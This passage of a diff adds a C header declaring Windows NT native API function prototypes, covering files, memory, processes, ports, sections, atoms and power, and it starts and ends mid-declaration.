Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtQuerySystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + IN OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength + ); + + +NTSTATUS +NTAPI +NtSystemDebugControl ( + IN SYSDBG_COMMAND Command, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtRaiseHardError ( + IN NTSTATUS ErrorStatus, + IN ULONG NumberOfParameters, + IN ULONG UnicodeStringParameterMask, + IN OPTIONAL PULONG_PTR Parameters, + IN ULONG ValidResponseOptions, + OUT PULONG Response + ); + + +NTSTATUS +NTAPI +NtQueryDefaultLocale ( + IN BOOLEAN UserProfile, + OUT PLCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtSetDefaultLocale ( + IN BOOLEAN UserProfile, + IN LCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtQueryInstallUILanguage ( + OUT LANGID *InstallUILanguageId + ); + + +NTSTATUS +NTAPI +NtQueryDefaultUILanguage ( + OUT LANGID *DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultUILanguage ( + IN LANGID DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultHardErrorPort( + IN HANDLE DefaultHardErrorPort + ); + + +NTSTATUS +NTAPI +NtShutdownSystem ( + IN SHUTDOWN_ACTION Action + ); + + +NTSTATUS +NTAPI +NtDisplayString ( + IN PUNICODE_STRING String + ); + + +NTSTATUS +NTAPI +NtAddAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtFindAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtDeleteAtom ( + IN RTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtQueryInformationAtom( + IN RTL_ATOM Atom, + IN ATOM_INFORMATION_CLASS AtomInformationClass, + OUT OPTIONAL PVOID AtomInformation, + IN ULONG AtomInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCancelIoFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtCreateNamedPipeFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN ULONG NamedPipeType, + IN ULONG ReadMode, + IN ULONG CompletionMode, + IN ULONG MaximumInstances, + IN ULONG InboundQuota, + IN ULONG OutboundQuota, + IN OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + +NTSTATUS +NTAPI +NtCreateMailslotFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CreateOptions, + IN ULONG MailslotQuota, + IN ULONG MaximumMessageSize, + IN PLARGE_INTEGER ReadTimeout + ); + + +NTSTATUS +NTAPI +NtDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtFlushBuffersFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree + ); + + +NTSTATUS +NTAPI +NtQueryAttributesFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_BASIC_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList, + IN ULONG EaListLength, + IN OPTIONAL PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtCreateFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN OPTIONAL PVOID EaBuffer, + IN ULONG EaLength + ); + + +NTSTATUS +NTAPI +NtDeviceIoControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtFsControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtLockFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key, + IN BOOLEAN FailImmediately, + IN BOOLEAN ExclusiveLock + ); + + +NTSTATUS +NTAPI +NtOpenFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PUNICODE_STRING FileName, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtQueryQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PVOID SidList, + IN ULONG SidListLength, + IN OPTIONAL PSID StartSid, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtReadFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtSetQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + +NTSTATUS +NTAPI +NtSetVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtWriteFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtUnlockFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key + ); + + +NTSTATUS +NTAPI +NtReadFileScatter ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + +NTSTATUS +NTAPI +NtWriteFileGather ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtLoadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtUnloadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtCreateIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Count OPTIONAL + ); + + +NTSTATUS +NTAPI +NtOpenIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryIoCompletion ( + IN HANDLE IoCompletionHandle, + IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + OUT PVOID IoCompletionInformation, + IN ULONG IoCompletionInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetIoCompletion ( + IN HANDLE IoCompletionHandle, + IN PVOID KeyContext, + IN OPTIONAL PVOID ApcContext, + IN NTSTATUS IoStatus, + IN ULONG_PTR IoStatusInformation + ); + + +NTSTATUS +NTAPI +NtRemoveIoCompletion ( + IN HANDLE IoCompletionHandle, + OUT PVOID *KeyContext, + OUT PVOID *ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtCallbackReturn ( + IN PVOID OutputBuffer OPTIONAL, + IN ULONG OutputLength, + IN NTSTATUS Status + ); + + +NTSTATUS +NTAPI +NtQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + + +NTSTATUS +NTAPI +NtSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + + +NTSTATUS +NTAPI +NtYieldExecution ( + VOID + ); + + +NTSTATUS +NTAPI +NtCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtCreateWaitablePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtSecureConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OPTIONAL PSID RequiredServerSid, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE ConnectionRequest + ); + + +NTSTATUS +NTAPI +NtAcceptConnectPort( + OUT PHANDLE PortHandle, + IN OPTIONAL PVOID PortContext, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT OPTIONAL PPORT_VIEW ServerView, + OUT OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + +NTSTATUS +NTAPI +NtCompleteConnectPort( + IN HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtRequestPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + + +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext , + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePortEx( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext, + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtImpersonateClientOfPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message + ); + + +NTSTATUS +NTAPI +NtReadRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + IN PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtQueryInformationPort( + IN HANDLE PortHandle, + IN PORT_INFORMATION_CLASS PortInformationClass, + OUT PVOID PortInformation, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PLARGE_INTEGER MaximumSize, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN OPTIONAL HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, + IN OUT PSIZE_T ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Win32Protect + ); + + +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSTATUS +NTAPI +NtExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER NewSectionSize + ); + + +NTSTATUS +NTAPI +NtAreMappedFilesTheSame ( + IN PVOID File1MappedAsAnImage, + IN PVOID File2MappedAsFile + ); + + +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG FreeType + ); + + +NTSTATUS +NTAPI +NtReadVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtFlushVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + OUT PIO_STATUS_BLOCK IoStatus + ); + + +NTSTATUS +NTAPI +NtLockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + +NTSTATUS +NTAPI +NtUnlockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + +NTSTATUS +NTAPI +NtProtectVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect + ); + + +NTSTATUS +NTAPI +NtQueryVirtualMemory ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN SIZE_T SectionInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPages ( + IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter ( + IN PVOID *VirtualAddresses, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + OUT PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtFreeUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + IN PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtGetWriteWatch ( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T RegionSize, + OUT PVOID *UserAddressArray, + IN OUT PULONG_PTR EntriesInUserAddressArray, + OUT PULONG Granularity + ); + + +NTSTATUS +NTAPI +NtResetWriteWatch ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN SIZE_T RegionSize + ); + + +NTSTATUS +NTAPI +NtCreatePagingFile ( + IN PUNICODE_STRING PageFileName, + IN PLARGE_INTEGER MinimumSize, + IN PLARGE_INTEGER MaximumSize, + IN ULONG Priority + ); + + +NTSTATUS +NTAPI +NtFlushInstructionCache ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN SIZE_T Length + ); + + +NTSTATUS +NTAPI +NtFlushWriteBuffer ( + VOID + ); + + +NTSTATUS +NTAPI +NtQueryObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG ObjectInformationLength, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG ObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN OPTIONAL HANDLE TargetProcessHandle, + OUT PHANDLE TargetHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + +NTSTATUS +NTAPI +NtMakeTemporaryObject ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtMakePermanentObject ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject ( + IN HANDLE SignalHandle, + IN HANDLE WaitHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForMultipleObjects32 ( + IN ULONG Count, + IN LONG Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtSetSecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +NTSTATUS +NTAPI +NtQuerySecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Length, + OUT PULONG LengthNeeded + ); + + +NTSTATUS +NTAPI +NtClose ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtCreateDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryObject ( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING LinkTarget + ); + + +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + IN HANDLE LinkHandle, + IN OUT PUNICODE_STRING LinkTarget, + OUT PULONG ReturnedLength + ); + + +NTSTATUS +NTAPI +NtGetPlugPlayEvent ( + IN HANDLE EventHandle, + IN OPTIONAL PVOID Context, + OUT PPLUGPLAY_EVENT_BLOCK EventBlock, + IN ULONG EventBufferSize + ); + + +NTSTATUS +NTAPI +NtPlugPlayControl( + IN PLUGPLAY_CONTROL_CLASS PnPControlClass, + IN OUT PVOID PnPControlData, + IN ULONG PnPControlDataLength + ); + + +NTSTATUS +NTAPI +NtPowerInformation( + IN POWER_INFORMATION_LEVEL InformationLevel, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtSetThreadExecutionState( + IN EXECUTION_STATE esFlags, // ES_xxx flags + OUT EXECUTION_STATE *PreviousFlags + ); + + +NTSTATUS +NTAPI +NtRequestWakeupLatency( + IN LATENCY_TIME latency + ); + + +// NTSTATUS +// NTAPI +// NtInitiatePowerAction( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags, // POWER_ACTION_xxx flags +// IN BOOLEAN Asynchronous +// ); + + +// NTSTATUS +// NTAPI +// NtSetSystemPowerState( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags // POWER_ACTION_xxx flags +// ); + + +// NTSTATUS +// NTAPI +// NtGetDevicePowerState( +// IN HANDLE Device, +// OUT DEVICE_POWER_STATE *State +// ); + + +NTSTATUS +NTAPI +NtCancelDeviceWakeupRequest( + IN HANDLE Device + ); + + +NTSTATUS +NTAPI +NtRequestDeviceWakeup( + IN HANDLE Device + ); + + +NTSTATUS +NTAPI +NtCreateProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN BOOLEAN InheritObjectTable, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort + ); + + +NTSTATUS +NTAPI +NtCreateProcessEx( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort, + IN ULONG JobMemberLevel + ); + + +NTSTATUS +NTAPI +NtOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateProcess ( + IN OPTIONAL HANDLE ProcessHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtQueryInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtGetNextProcess ( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetNextThread ( + IN HANDLE ProcessHandle, + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG 